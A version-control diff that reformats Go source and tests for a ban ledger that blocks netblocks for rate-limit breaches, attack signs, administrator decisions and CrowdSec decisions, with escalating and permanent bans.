ban, banned, _ := ledger.Find( ban, banned, _ := ledger.Find(netblock.Addr(), midnight().Add(2*time.Hour))
netblock.Addr(),
midnight().Add(2*time.Hour),
)
if !banned || !reflect.DeepEqual(ban, want) { if !banned || !reflect.DeepEqual(ban, want) {
t.Errorf( t.Errorf("after the limit's ban the netblock is under %+v (%t), want %+v",
"after the limit's ban the netblock is under %+v (%t), want %+v", ban, banned, want)
ban,
banned,
want,
)
} }
} }
@@ -385,12 +312,8 @@ func TestLiftLiftsEveryActiveBanCoveringTheClient(t *testing.T) {
now := midnight().Add(time.Minute) now := midnight().Add(time.Minute)
lifted := ledger.Lift(client, now) lifted := ledger.Lift(client, now)
if len(lifted) != 2 || lifted[0].Lifted != now || if len(lifted) != 2 || lifted[0].Lifted != now || lifted[1].Lifted != now {
lifted[1].Lifted != now { t.Errorf("lifted %+v, want the two active bans covering the client", lifted)
t.Errorf(
"lifted %+v, want the two active bans covering the client",
lifted,
)
} }
wantChanged(t, ledger, true) wantChanged(t, ledger, true)
@@ -407,11 +330,8 @@ func TestLiftLiftsEveryActiveBanCoveringTheClient(t *testing.T) {
covering := ledger.Covering(client) covering := ledger.Covering(client)
if len(covering) != 3 || covering[0].Netblock != wide || if len(covering) != 3 || covering[0].Netblock != wide ||
!covering[1].Lifted.IsZero() || covering[2].Lifted != now { !covering[1].Lifted.IsZero() || covering[2].Lifted != now {
t.Errorf( t.Errorf("the bans covering the client are %+v, want the /24's and both "+
"the bans covering the client are %+v, want the /24's and both "+ "of its own, the earlier not lifted", covering)
"of its own, the earlier not lifted",
covering,
)
} }
// With none active, nothing is lifted or changed. // With none active, nothing is lifted or changed.
@@ -422,26 +342,16 @@ func TestLiftLiftsEveryActiveBanCoveringTheClient(t *testing.T) {
wantChanged(t, ledger, false) wantChanged(t, ledger, false)
} }
func TestPermanentBanOnAWiderNetblockIsReturnedOverATemporaryBan( func TestPermanentBanOnAWiderNetblockIsReturnedOverATemporaryBan(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
client := netip.MustParseAddr("203.0.113.9") client := netip.MustParseAddr("203.0.113.9")
ledger := bans.New(defaultParams()) ledger := bans.New(defaultParams())
// The temporary ban is made first, so that its netblock is looked at first. // The temporary ban is made first, so that its netblock is looked at first.
ledger.BanForLimit( ledger.BanForLimit(netip.MustParsePrefix("203.0.113.9/32"), midnight(), bans.Notes{})
netip.MustParsePrefix("203.0.113.9/32"), ledger.BanForAdmin(netip.MustParsePrefix("203.0.113.0/24"), midnight(), time.Time{},
midnight(), "for good")
bans.Notes{},
)
ledger.BanForAdmin(
netip.MustParsePrefix("203.0.113.0/24"),
midnight(),
time.Time{},
"for good",
)
wantPermanentBan(t, ledger, client, midnight().Add(time.Minute)) wantPermanentBan(t, ledger, client, midnight().Add(time.Minute))
} }
@@ -453,19 +363,10 @@ func TestOlderPermanentBanIsReturnedOverANewerTemporaryBan(t *testing.T) {
ledger := bans.New(defaultParams()) ledger := bans.New(defaultParams())
ledger.BanForAdmin(netblock, midnight(), time.Time{}, "for good") ledger.BanForAdmin(netblock, midnight(), time.Time{}, "for good")
ledger.BanForAdmin( ledger.BanForAdmin(netblock, midnight().Add(time.Minute), midnight().Add(time.Hour),
netblock, "for an hour")
midnight().Add(time.Minute),
midnight().Add(time.Hour),
"for an hour",
)
wantPermanentBan( wantPermanentBan(t, ledger, netblock.Addr(), midnight().Add(2*time.Minute))
t,
ledger,
netblock.Addr(),
midnight().Add(2*time.Minute),
)
} }
// wantPermanentBan checks that Find and Check return a permanent ban for // wantPermanentBan checks that Find and Check return a permanent ban for
@@ -481,12 +382,7 @@ func wantPermanentBan(
} { } {
ban, banned, _ := look(client, now) ban, banned, _ := look(client, now)
if !banned || !ban.Permanent() { if !banned || !ban.Permanent() {
t.Errorf( t.Errorf("%s returned %+v and banned %v, want a permanent ban", name, ban, banned)
"%s returned %+v and banned %v, want a permanent ban",
name,
ban,
banned,
)
} }
} }
} }
+19 -91
View File
@@ -209,10 +209,7 @@ func New(params Params) *Ledger {
// The ledger drops bans itself, and never those whose cause is // The ledger drops bans itself, and never those whose cause is
// CauseAdmin, however many there are, so the LRU has no limit of its // CauseAdmin, however many there are, so the LRU has no limit of its
// own: it keeps the netblocks in the order they were last seen. // own: it keeps the netblocks in the order they were last seen.
netblocks, err := simplelru.NewLRU[netip.Prefix, *[]Ban]( netblocks, err := simplelru.NewLRU[netip.Prefix, *[]Ban](math.MaxInt, nil)
math.MaxInt,
nil,
)
if err != nil { if err != nil {
panic(err) // NewLRU fails only for a size below one panic(err) // NewLRU fails only for a size below one
} }
@@ -315,15 +312,7 @@ func activeBan(bans []Ban, now time.Time) *Ban {
func (l *Ledger) BanForLimit( func (l *Ledger) BanForLimit(
netblock netip.Prefix, now time.Time, notes Notes, netblock netip.Prefix, now time.Time, notes Notes,
) (Ban, bool) { ) (Ban, bool) {
return l.ban( return l.ban(netblock, now, time.Time{}, CauseLimit, limitReason(notes), notes, true)
netblock,
now,
time.Time{},
CauseLimit,
limitReason(notes),
notes,
true,
)
} }
// WouldBanForLimit returns what BanForLimit would, without making the ban: // WouldBanForLimit returns what BanForLimit would, without making the ban:
@@ -331,15 +320,7 @@ func (l *Ledger) BanForLimit(
func (l *Ledger) WouldBanForLimit( func (l *Ledger) WouldBanForLimit(
netblock netip.Prefix, now time.Time, notes Notes, netblock netip.Prefix, now time.Time, notes Notes,
) (Ban, bool) { ) (Ban, bool) {
return l.ban( return l.ban(netblock, now, time.Time{}, CauseLimit, limitReason(notes), notes, false)
netblock,
now,
time.Time{},
CauseLimit,
limitReason(notes),
notes,
false,
)
} }
// BanForAttack bans netblock at now for a clear sign of attack, with // BanForAttack bans netblock at now for a clear sign of attack, with
@@ -350,15 +331,7 @@ func (l *Ledger) WouldBanForLimit(
func (l *Ledger) BanForAttack( func (l *Ledger) BanForAttack(
netblock netip.Prefix, now time.Time, notes Notes, netblock netip.Prefix, now time.Time, notes Notes,
) (Ban, bool) { ) (Ban, bool) {
return l.ban( return l.ban(netblock, now, time.Time{}, CauseAttack, attackReason(notes), notes, true)
netblock,
now,
time.Time{},
CauseAttack,
attackReason(notes),
notes,
true,
)
} }
// WouldBanForAttack returns what BanForAttack would, without making the // WouldBanForAttack returns what BanForAttack would, without making the
@@ -366,15 +339,8 @@ func (l *Ledger) BanForAttack(
func (l *Ledger) WouldBanForAttack( func (l *Ledger) WouldBanForAttack(
netblock netip.Prefix, now time.Time, notes Notes, netblock netip.Prefix, now time.Time, notes Notes,
) (Ban, bool) { ) (Ban, bool) {
return l.ban( return l.ban(netblock, now, time.Time{}, CauseAttack, attackReason(notes), notes,
netblock, false)
now,
time.Time{},
CauseAttack,
attackReason(notes),
notes,
false,
)
} }
// BanForCrowdSec bans netblock at now until expires, when CrowdSec's // BanForCrowdSec bans netblock at now until expires, when CrowdSec's
@@ -382,39 +348,19 @@ func (l *Ledger) WouldBanForAttack(
// whether it made it, as BanForLimit does. Its reason is "CrowdSec's // whether it made it, as BanForLimit does. Its reason is "CrowdSec's
// decision for <scenario>", the scenario that made the decision. // decision for <scenario>", the scenario that made the decision.
func (l *Ledger) BanForCrowdSec( func (l *Ledger) BanForCrowdSec(
netblock netip.Prefix, netblock netip.Prefix, now, expires time.Time, scenario string, notes Notes,
now, expires time.Time,
scenario string,
notes Notes,
) (Ban, bool) { ) (Ban, bool) {
return l.ban( return l.ban(netblock, now, expires, CauseCrowdSec, crowdSecReason(scenario), notes,
netblock, true)
now,
expires,
CauseCrowdSec,
crowdSecReason(scenario),
notes,
true,
)
} }
// WouldBanForCrowdSec returns what BanForCrowdSec would, without making // WouldBanForCrowdSec returns what BanForCrowdSec would, without making
// the ban: what observe mode would have done. // the ban: what observe mode would have done.
func (l *Ledger) WouldBanForCrowdSec( func (l *Ledger) WouldBanForCrowdSec(
netblock netip.Prefix, netblock netip.Prefix, now, expires time.Time, scenario string, notes Notes,
now, expires time.Time,
scenario string,
notes Notes,
) (Ban, bool) { ) (Ban, bool) {
return l.ban( return l.ban(netblock, now, expires, CauseCrowdSec, crowdSecReason(scenario), notes,
netblock, false)
now,
expires,
CauseCrowdSec,
crowdSecReason(scenario),
notes,
false,
)
} }
// WouldBePermanent reports whether a ban on netblock for cause, CauseLimit, // WouldBePermanent reports whether a ban on netblock for cause, CauseLimit,
@@ -559,10 +505,7 @@ func (l *Ledger) Bans(netblock netip.Prefix) []Ban {
// about it. It is not a request from netblock, and leaves when it was last // about it. It is not a request from netblock, and leaves when it was last
// seen unchanged. It does not have bans.json written at once: the notes // seen unchanged. It does not have bans.json written at once: the notes
// are written with its next write, as the counts in them are. // are written with its next write, as the counts in them are.
func (l *Ledger) AddLookup( func (l *Ledger) AddLookup(netblock netip.Prefix, asn, asName, country string) {
netblock netip.Prefix,
asn, asName, country string,
) {
l.mu.Lock() l.mu.Lock()
defer l.mu.Unlock() defer l.mu.Unlock()
@@ -711,10 +654,7 @@ func (l *Ledger) holds(netblock netip.Prefix, start time.Time) bool {
// keep is true, the ban is not made, only returned: it is the ban that // keep is true, the ban is not made, only returned: it is the ban that
// would have been made. // would have been made.
func (l *Ledger) ban( func (l *Ledger) ban(
netblock netip.Prefix, netblock netip.Prefix, now, expires time.Time, cause, reason string, notes Notes,
now, expires time.Time,
cause, reason string,
notes Notes,
keep bool, keep bool,
) (Ban, bool) { ) (Ban, bool) {
l.mu.Lock() l.mu.Lock()
@@ -735,13 +675,7 @@ func (l *Ledger) ban(
} }
notes.Request = notes.Request.cut() notes.Request = notes.Request.cut()
ban := Ban{ ban := Ban{Netblock: netblock, Start: now, Cause: cause, Reason: reason, Notes: notes}
Netblock: netblock,
Start: now,
Cause: cause,
Reason: reason,
Notes: notes,
}
switch cause { switch cause {
case CauseAttack: case CauseAttack:
@@ -831,9 +765,7 @@ func (l *Ledger) active(client netip.Addr, now time.Time) *Ban {
var first *Ban var first *Ban
for _, length := range lengths { for _, length := range lengths {
bans, found := l.netblocks.Get( bans, found := l.netblocks.Get(netip.PrefixFrom(client, length).Masked())
netip.PrefixFrom(client, length).Masked(),
)
if !found { if !found {
continue continue
} }
@@ -866,9 +798,7 @@ func (l *Ledger) covering(client netip.Addr) []*[]Ban {
var found []*[]Ban var found []*[]Ban
for _, length := range lengths { for _, length := range lengths {
bans, ok := l.netblocks.Peek( bans, ok := l.netblocks.Peek(netip.PrefixFrom(client, length).Masked())
netip.PrefixFrom(client, length).Masked(),
)
if ok { if ok {
found = append(found, bans) found = append(found, bans)
} }
@@ -922,15 +852,13 @@ func (l *Ledger) limitExpiry(held []Ban, now time.Time) time.Time {
var last *Ban var last *Ban
for i, ban := range held { for i, ban := range held {
if (ban.Cause == CauseLimit || ban.Cause == CauseAdmin) && if (ban.Cause == CauseLimit || ban.Cause == CauseAdmin) && ban.Lifted.IsZero() &&
ban.Lifted.IsZero() &&
(last == nil || ban.Expires.After(last.Expires)) { (last == nil || ban.Expires.After(last.Expires)) {
last = &held[i] last = &held[i]
} }
} }
if last != nil && if last != nil && now.Sub(last.Expires) <= l.params.LimitBanRepeatWindow {
now.Sub(last.Expires) <= l.params.LimitBanRepeatWindow {
lastLength := last.Expires.Sub(last.Start) lastLength := last.Expires.Sub(last.Start)
// This is repeatFactor * lastLength > MaxBanDuration, written so // This is repeatFactor * lastLength > MaxBanDuration, written so
// that it cannot overflow. // that it cannot overflow.
+59 -212
View File
@@ -27,14 +27,8 @@ func TestRepeatsTripleUntilPermanent(t *testing.T) {
length := time.Duration(hours) * time.Hour length := time.Duration(hours) * time.Hour
if !ban.Expires.Equal(now.Add(length)) || if !ban.Expires.Equal(now.Add(length)) ||
ban.Notes.EarlierBans != (bans.EarlierBans{Limit: i}) { ban.Notes.EarlierBans != (bans.EarlierBans{Limit: i}) {
t.Fatalf( t.Fatalf("ban %d lasts %s with earlier bans %+v, want %d hours and %d for a limit",
"ban %d lasts %s with earlier bans %+v, want %d hours and %d for a limit", i+1, ban.Expires.Sub(now), ban.Notes.EarlierBans, hours, i)
i+1,
ban.Expires.Sub(now),
ban.Notes.EarlierBans,
hours,
i,
)
} }
now = ban.Expires now = ban.Expires
@@ -71,27 +65,13 @@ func TestRepeatWindowRunsOut(t *testing.T) {
ledger := bans.New(defaultParams()) ledger := bans.New(defaultParams())
netblock := netip.MustParsePrefix("203.0.113.9/32") netblock := netip.MustParsePrefix("203.0.113.9/32")
first, _ := ledger.BanForLimit( first, _ := ledger.BanForLimit(netblock, midnight(), bans.Notes{})
netblock, second, _ := ledger.BanForLimit(netblock, first.Expires.Add(tc.gap), bans.Notes{})
midnight(),
bans.Notes{},
)
second, _ := ledger.BanForLimit(
netblock,
first.Expires.Add(tc.gap),
bans.Notes{},
)
if second.Expires.Sub(second.Start) != tc.want || if second.Expires.Sub(second.Start) != tc.want ||
second.Notes.EarlierBans != (bans.EarlierBans{Limit: 1}) { second.Notes.EarlierBans != (bans.EarlierBans{Limit: 1}) {
t.Errorf( t.Errorf("second ban lasts %s with earlier bans %+v, want %s and 1 for a limit",
"second ban lasts %s with earlier bans %+v, want %s and 1 for a limit", second.Expires.Sub(second.Start), second.Notes.EarlierBans, tc.want)
second.Expires.Sub(
second.Start,
),
second.Notes.EarlierBans,
tc.want,
)
} }
}) })
} }
@@ -104,11 +84,8 @@ func TestFirstBanLongerThanTheMaximumIsPermanent(t *testing.T) {
params.LimitBanDuration = params.MaxBanDuration + time.Hour params.LimitBanDuration = params.MaxBanDuration + time.Hour
ledger := bans.New(params) ledger := bans.New(params)
ban, _ := ledger.BanForLimit( ban, _ := ledger.BanForLimit(netip.MustParsePrefix("203.0.113.9/32"), midnight(),
netip.MustParsePrefix("203.0.113.9/32"), bans.Notes{})
midnight(),
bans.Notes{},
)
if !ban.Permanent() { if !ban.Permanent() {
t.Errorf("first ban ends at %s, want a permanent one", ban.Expires) t.Errorf("first ban ends at %s, want a permanent one", ban.Expires)
} }
@@ -129,12 +106,7 @@ func TestLongestBanSetFarOffDoesNotOverflow(t *testing.T) {
for i := range 14 { for i := range 14 {
ban, _ := ledger.BanForLimit(netblock, now, bans.Notes{}) ban, _ := ledger.BanForLimit(netblock, now, bans.Notes{})
if !ban.Expires.After(ban.Start) { if !ban.Expires.After(ban.Start) {
t.Fatalf( t.Fatalf("ban %d starts at %s and ends at %s", i+1, ban.Start, ban.Expires)
"ban %d starts at %s and ends at %s",
i+1,
ban.Start,
ban.Expires,
)
} }
now = ban.Expires now = ban.Expires
@@ -157,36 +129,17 @@ func TestBrokenLimitDuringABanMakesNoOther(t *testing.T) {
t.Error("the first ban was not made") t.Error("the first ban was not made")
} }
again, made := ledger.BanForLimit( again, made := ledger.BanForLimit(netblock, midnight().Add(time.Minute), bans.Notes{})
netblock,
midnight().Add(time.Minute),
bans.Notes{},
)
if made || !reflect.DeepEqual(again, first) || if made || !reflect.DeepEqual(again, first) || len(ledger.Bans(netblock)) != 1 {
len(ledger.Bans(netblock)) != 1 { t.Errorf("a limit broken during a ban gave %+v, made %t, and %d bans, "+
t.Errorf( "want %+v, not made, and 1", again, made, len(ledger.Bans(netblock)), first)
"a limit broken during a ban gave %+v, made %t, and %d bans, "+
"want %+v, not made, and 1",
again,
made,
len(ledger.Bans(netblock)),
first,
)
} }
again, made = ledger.BanForAttack( again, made = ledger.BanForAttack(netblock, midnight().Add(time.Minute), bans.Notes{})
netblock,
midnight().Add(time.Minute),
bans.Notes{},
)
if made || !reflect.DeepEqual(again, first) { if made || !reflect.DeepEqual(again, first) {
t.Errorf( t.Errorf("an attack during a ban gave %+v, made %t, want %+v, not made",
"an attack during a ban gave %+v, made %t, want %+v, not made", again, made, first)
again,
made,
first,
)
} }
} }
@@ -195,26 +148,16 @@ func TestCheckRefusesWhileTheBanLastsAndCountsTheRefusals(t *testing.T) {
ledger := bans.New(defaultParams()) ledger := bans.New(defaultParams())
netblock := netip.MustParsePrefix("203.0.113.9/32") netblock := netip.MustParsePrefix("203.0.113.9/32")
ban, _ := ledger.BanForLimit( ban, _ := ledger.BanForLimit(netblock, midnight(), bans.Notes{Requests: 5})
netblock,
midnight(),
bans.Notes{Requests: 5},
)
for range 3 { for range 3 {
got, banned, _ := ledger.Check( got, banned, _ := ledger.Check(netblock.Addr(), ban.Expires.Add(-time.Nanosecond))
netblock.Addr(),
ban.Expires.Add(-time.Nanosecond),
)
if !banned || got.Start != ban.Start { if !banned || got.Start != ban.Start {
t.Fatalf("check during the ban gives %+v and %t", got, banned) t.Fatalf("check during the ban gives %+v and %t", got, banned)
} }
} }
_, banned, _ := ledger.Check( _, banned, _ := ledger.Check(netip.MustParseAddr("203.0.113.10"), midnight())
netip.MustParseAddr("203.0.113.10"),
midnight(),
)
if banned { if banned {
t.Error("another netblock is banned") t.Error("another netblock is banned")
} }
@@ -237,23 +180,11 @@ func TestFindCountsNothing(t *testing.T) {
ledger := bans.New(defaultParams()) ledger := bans.New(defaultParams())
netblock := netip.MustParsePrefix("203.0.113.9/32") netblock := netip.MustParsePrefix("203.0.113.9/32")
ban, _ := ledger.BanForLimit( ban, _ := ledger.BanForLimit(netblock, midnight(), bans.Notes{Requests: 5})
netblock,
midnight(),
bans.Notes{Requests: 5},
)
got, banned, _ := ledger.Find( got, banned, _ := ledger.Find(netblock.Addr(), ban.Expires.Add(-time.Nanosecond))
netblock.Addr(),
ban.Expires.Add(-time.Nanosecond),
)
if !banned || !reflect.DeepEqual(got, ban) { if !banned || !reflect.DeepEqual(got, ban) {
t.Errorf( t.Errorf("find during the ban gives %+v and %t, want %+v", got, banned, ban)
"find during the ban gives %+v and %t, want %+v",
got,
banned,
ban,
)
} }
_, banned, _ = ledger.Find(netblock.Addr(), ban.Expires) _, banned, _ = ledger.Find(netblock.Addr(), ban.Expires)
@@ -261,21 +192,12 @@ func TestFindCountsNothing(t *testing.T) {
t.Error("the ban did not end") t.Error("the ban did not end")
} }
if notes := ledger.Bans(netblock)[0].Notes; !reflect.DeepEqual( if notes := ledger.Bans(netblock)[0].Notes; !reflect.DeepEqual(notes, ban.Notes) {
notes, t.Errorf("the notes are %+v, want them unchanged, %+v", notes, ban.Notes)
ban.Notes,
) {
t.Errorf(
"the notes are %+v, want them unchanged, %+v",
notes,
ban.Notes,
)
} }
} }
func TestMaxBansDropsTheEarliestBanOfTheNetblockSeenLongestAgo( func TestMaxBansDropsTheEarliestBanOfTheNetblockSeenLongestAgo(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
params := defaultParams() params := defaultParams()
@@ -308,10 +230,7 @@ func TestMaxBansDropsTheEarliestBanOfTheNetblockSeenLongestAgo(
wantBans(t, ledger, map[netip.Prefix]int{a: 1, b: 1, d: 1}) wantBans(t, ledger, map[netip.Prefix]int{a: 1, b: 1, d: 1})
if !ledger.Bans(a)[0].Start.Equal(first.Expires) { if !ledger.Bans(a)[0].Start.Equal(first.Expires) {
t.Errorf( t.Errorf("a kept its ban of %s, want the later one", ledger.Bans(a)[0].Start)
"a kept its ban of %s, want the later one",
ledger.Bans(a)[0].Start,
)
} }
} }
@@ -344,70 +263,41 @@ func TestRequestDuringAnAttackBanMakesItPermanent(t *testing.T) {
notes := bans.Notes{RuleID: "env-file", Target: "path"} notes := bans.Notes{RuleID: "env-file", Target: "path"}
ban, _ := ledger.BanForAttack(netblock, midnight(), notes) ban, _ := ledger.BanForAttack(netblock, midnight(), notes)
if !ban.Expires.Equal(midnight().Add(7*day)) || if !ban.Expires.Equal(midnight().Add(7*day)) || ban.Cause != bans.CauseAttack ||
ban.Cause != bans.CauseAttack || ban.Notes.RuleID != "env-file" || ledger.Made(bans.CauseAttack) != 1 ||
ban.Notes.RuleID != "env-file" ||
ledger.Made(bans.CauseAttack) != 1 ||
ledger.Made(bans.CauseLimit) != 0 { ledger.Made(bans.CauseLimit) != 0 {
t.Fatalf( t.Fatalf("the ban is %+v, with %d made for an attack and %d for a limit, "+
"the ban is %+v, with %d made for an attack and %d for a limit, "+ "want one for an attack, of seven days", ban,
"want one for an attack, of seven days", ledger.Made(bans.CauseAttack), ledger.Made(bans.CauseLimit))
ban,
ledger.Made(bans.CauseAttack),
ledger.Made(bans.CauseLimit),
)
} }
wantChanged(t, ledger, true) wantChanged(t, ledger, true)
// In observe mode the ban refuses nothing, and stays as it is, while // In observe mode the ban refuses nothing, and stays as it is, while
// Find tells that the request would have made it permanent. // Find tells that the request would have made it permanent.
got, _, wouldMakePermanent := ledger.Find( got, _, wouldMakePermanent := ledger.Find(netblock.Addr(), midnight().Add(time.Hour))
netblock.Addr(), if got.Permanent() || ledger.Bans(netblock)[0].Permanent() || !wouldMakePermanent {
midnight().Add(time.Hour), t.Fatalf("a request found under the ban left it %+v, would have made it "+
) "permanent %t, want it as it was, and true", got, wouldMakePermanent)
if got.Permanent() || ledger.Bans(netblock)[0].Permanent() ||
!wouldMakePermanent {
t.Fatalf(
"a request found under the ban left it %+v, would have made it "+
"permanent %t, want it as it was, and true",
got,
wouldMakePermanent,
)
} }
wantChanged(t, ledger, false) wantChanged(t, ledger, false)
// A request it refuses makes it permanent, says so, and makes // A request it refuses makes it permanent, says so, and makes
// bans.json due. // bans.json due.
got, _, madePermanent := ledger.Check( got, _, madePermanent := ledger.Check(netblock.Addr(), midnight().Add(time.Hour))
netblock.Addr(), if !madePermanent || !got.Permanent() || !ledger.Bans(netblock)[0].Permanent() {
midnight().Add(time.Hour), t.Fatalf("after a request during the ban, it is %+v, made permanent %t, "+
) "want it made permanent", got, madePermanent)
if !madePermanent || !got.Permanent() ||
!ledger.Bans(netblock)[0].Permanent() {
t.Fatalf(
"after a request during the ban, it is %+v, made permanent %t, "+
"want it made permanent",
got,
madePermanent,
)
} }
wantChanged(t, ledger, true) wantChanged(t, ledger, true)
// The next request finds it permanent already. // The next request finds it permanent already.
_, banned, madePermanent := ledger.Check( _, banned, madePermanent := ledger.Check(netblock.Addr(), midnight().Add(100*365*day))
netblock.Addr(),
midnight().Add(100*365*day),
)
if !banned || madePermanent { if !banned || madePermanent {
t.Errorf( t.Errorf("a later request is banned %t, and made the ban permanent %t, "+
"a later request is banned %t, and made the ban permanent %t, "+ "want banned by the permanent ban", banned, madePermanent)
"want banned by the permanent ban",
banned,
madePermanent,
)
} }
} }
@@ -435,11 +325,7 @@ func TestAttackAfterAnAttackBanHasEndedBansPermanently(t *testing.T) {
// Its notes show the earlier ban for an attack that makes it permanent, // Its notes show the earlier ban for an attack that makes it permanent,
// beside the one for a limit. // beside the one for a limit.
third, _ := ledger.BanForAttack( third, _ := ledger.BanForAttack(netblock, second.Expires.Add(30*day), bans.Notes{})
netblock,
second.Expires.Add(30*day),
bans.Notes{},
)
if !third.Permanent() || if !third.Permanent() ||
third.Notes.EarlierBans != (bans.EarlierBans{Limit: 1, Attack: 1}) { third.Notes.EarlierBans != (bans.EarlierBans{Limit: 1, Attack: 1}) {
t.Errorf("the next ban for an attack is %+v, want a permanent one, "+ t.Errorf("the next ban for an attack is %+v, want a permanent one, "+
@@ -456,18 +342,10 @@ func TestWouldBanGivesTheBanWithoutMakingIt(t *testing.T) {
wantChanged(t, ledger, true) wantChanged(t, ledger, true)
// While the first ban lasts, none would be made. // While the first ban lasts, none would be made.
during, would := ledger.WouldBanForAttack( during, would := ledger.WouldBanForAttack(netblock, midnight(), bans.Notes{})
netblock,
midnight(),
bans.Notes{},
)
if would || !reflect.DeepEqual(during, first) { if would || !reflect.DeepEqual(during, first) {
t.Errorf( t.Errorf("during the first ban, would ban %t with %+v, want false with %+v",
"during the first ban, would ban %t with %+v, want false with %+v", would, during, first)
would,
during,
first,
)
} }
// As it ends, a clear sign of attack would ban for seven days, and a // As it ends, a clear sign of attack would ban for seven days, and a
@@ -475,31 +353,19 @@ func TestWouldBanGivesTheBanWithoutMakingIt(t *testing.T) {
limitNotes := bans.Notes{Kind: "requests", Limit: 1, Window: "minute"} limitNotes := bans.Notes{Kind: "requests", Limit: 1, Window: "minute"}
attack, wouldAttack := ledger.WouldBanForAttack(netblock, first.Expires, attack, wouldAttack := ledger.WouldBanForAttack(netblock, first.Expires,
bans.Notes{RuleID: "git-dir"}) bans.Notes{RuleID: "git-dir"})
limit, wouldLimit := ledger.WouldBanForLimit( limit, wouldLimit := ledger.WouldBanForLimit(netblock, first.Expires, limitNotes)
netblock,
first.Expires,
limitNotes,
)
if !wouldAttack || !attack.Expires.Equal(first.Expires.Add(7*day)) || if !wouldAttack || !attack.Expires.Equal(first.Expires.Add(7*day)) ||
attack.Reason != "matched the rule git-dir" || !wouldLimit || attack.Reason != "matched the rule git-dir" || !wouldLimit ||
!limit.Expires.Equal(first.Expires.Add(3*time.Hour)) || !limit.Expires.Equal(first.Expires.Add(3*time.Hour)) ||
limit.Reason != "requests per minute over the limit of 1" { limit.Reason != "requests per minute over the limit of 1" {
t.Errorf( t.Errorf("would ban with %+v and %+v, want seven days for the attack and "+
"would ban with %+v and %+v, want seven days for the attack and "+ "three hours for the limit", attack, limit)
"three hours for the limit",
attack,
limit,
)
} }
if len(ledger.Bans(netblock)) != 1 || if len(ledger.Bans(netblock)) != 1 || ledger.Made(bans.CauseLimit) != 1 ||
ledger.Made(bans.CauseLimit) != 1 ||
ledger.Made(bans.CauseAttack) != 0 { ledger.Made(bans.CauseAttack) != 0 {
t.Errorf( t.Errorf("the ledger holds %+v, want the first ban alone", ledger.Bans(netblock))
"the ledger holds %+v, want the first ban alone",
ledger.Bans(netblock),
)
} }
wantChanged(t, ledger, false) wantChanged(t, ledger, false)
@@ -556,8 +422,7 @@ func TestAttackBanDoesNotLengthenTheNextBanForALimit(t *testing.T) {
attack, _ := ledger.BanForAttack(netblock, midnight(), bans.Notes{}) attack, _ := ledger.BanForAttack(netblock, midnight(), bans.Notes{})
limit, _ := ledger.BanForLimit(netblock, attack.Expires, bans.Notes{}) limit, _ := ledger.BanForLimit(netblock, attack.Expires, bans.Notes{})
if limit.Expires.Sub(limit.Start) != time.Hour || if limit.Expires.Sub(limit.Start) != time.Hour || limit.Cause != bans.CauseLimit {
limit.Cause != bans.CauseLimit {
t.Errorf("the ban for a limit is %+v, want one of an hour", limit) t.Errorf("the ban for a limit is %+v, want one of an hour", limit)
} }
@@ -578,23 +443,15 @@ func TestRequestTextsAreCutTo256Bytes(t *testing.T) {
Time: midnight(), Method: long, Host: long, Path: long, Status: 403, UserAgent: long, Time: midnight(), Method: long, Host: long, Path: long, Status: 403, UserAgent: long,
} }
ban, _ := ledger.BanForLimit( ban, _ := ledger.BanForLimit(netblock, midnight(), bans.Notes{Request: request})
netblock,
midnight(),
bans.Notes{Request: request},
)
cut := long[:256] cut := long[:256]
want := bans.Request{ want := bans.Request{
Time: midnight(), Method: cut, Host: cut, Path: cut, Status: 403, UserAgent: cut, Time: midnight(), Method: cut, Host: cut, Path: cut, Status: 403, UserAgent: cut,
} }
if ban.Notes.Request != want || if ban.Notes.Request != want || ledger.Bans(netblock)[0].Notes.Request != want {
ledger.Bans(netblock)[0].Notes.Request != want { t.Errorf("the notes keep %+v, want each text cut to 256 bytes", ban.Notes.Request)
t.Errorf(
"the notes keep %+v, want each text cut to 256 bytes",
ban.Notes.Request,
)
} }
} }
@@ -625,23 +482,13 @@ func TestLookupFillsTheNotesOfTheNetblocksBansWithoutOne(t *testing.T) {
{ASN: "AS64496", ASName: "Example Net", Country: "DE"}, {ASN: "AS64496", ASName: "Example Net", Country: "DE"},
} { } {
got := held[i].Notes got := held[i].Notes
if got.ASN != want.ASN || got.ASName != want.ASName || if got.ASN != want.ASN || got.ASName != want.ASName || got.Country != want.Country {
got.Country != want.Country { t.Errorf("ban %d's notes give %q, %q and %q, want %q, %q and %q", i+1,
t.Errorf( got.ASN, got.ASName, got.Country, want.ASN, want.ASName, want.Country)
"ban %d's notes give %q, %q and %q, want %q, %q and %q",
i+1,
got.ASN,
got.ASName,
got.Country,
want.ASN,
want.ASName,
want.Country,
)
} }
} }
if notes := ledger.Bans(other)[0].Notes; notes.ASN != "" || if notes := ledger.Bans(other)[0].Notes; notes.ASN != "" || notes.Country != "" {
notes.Country != "" {
t.Errorf("the ban on %s has %q and %q, want neither", t.Errorf("the ban on %s has %q and %q, want neither",
other, notes.ASN, notes.Country) other, notes.ASN, notes.Country)
} }
+20 -66
View File
@@ -20,55 +20,29 @@ func TestCrowdSecBanLastsUntilTheDecisionEnds(t *testing.T) {
expires := midnight().Add(4 * time.Hour) expires := midnight().Add(4 * time.Hour)
// The ban that would be made is not made. // The ban that would be made is not made.
would, wouldBan := ledger.WouldBanForCrowdSec( would, wouldBan := ledger.WouldBanForCrowdSec(netblock, midnight(), expires,
netblock, scenario, bans.Notes{})
midnight(),
expires,
scenario,
bans.Notes{},
)
if !wouldBan || len(ledger.Bans(netblock)) != 0 { if !wouldBan || len(ledger.Bans(netblock)) != 0 {
t.Errorf( t.Errorf("would ban %t, and the ledger holds %+v, want true and nothing",
"would ban %t, and the ledger holds %+v, want true and nothing", wouldBan, ledger.Bans(netblock))
wouldBan,
ledger.Bans(netblock),
)
} }
const reason = "CrowdSec's decision for " + scenario const reason = "CrowdSec's decision for " + scenario
ban, made := ledger.BanForCrowdSec( ban, made := ledger.BanForCrowdSec(netblock, midnight(), expires, scenario,
netblock, bans.Notes{})
midnight(), if !made || !reflect.DeepEqual(ban, would) || ban.Cause != bans.CauseCrowdSec ||
expires, !ban.Expires.Equal(expires) || ban.Reason != reason ||
scenario,
bans.Notes{},
)
if !made || !reflect.DeepEqual(ban, would) ||
ban.Cause != bans.CauseCrowdSec ||
!ban.Expires.Equal(expires) ||
ban.Reason != reason ||
ledger.Made(bans.CauseCrowdSec) != 1 { ledger.Made(bans.CauseCrowdSec) != 1 {
t.Errorf( t.Errorf("made %t the ban %+v, want the one that would be made, %+v, for "+
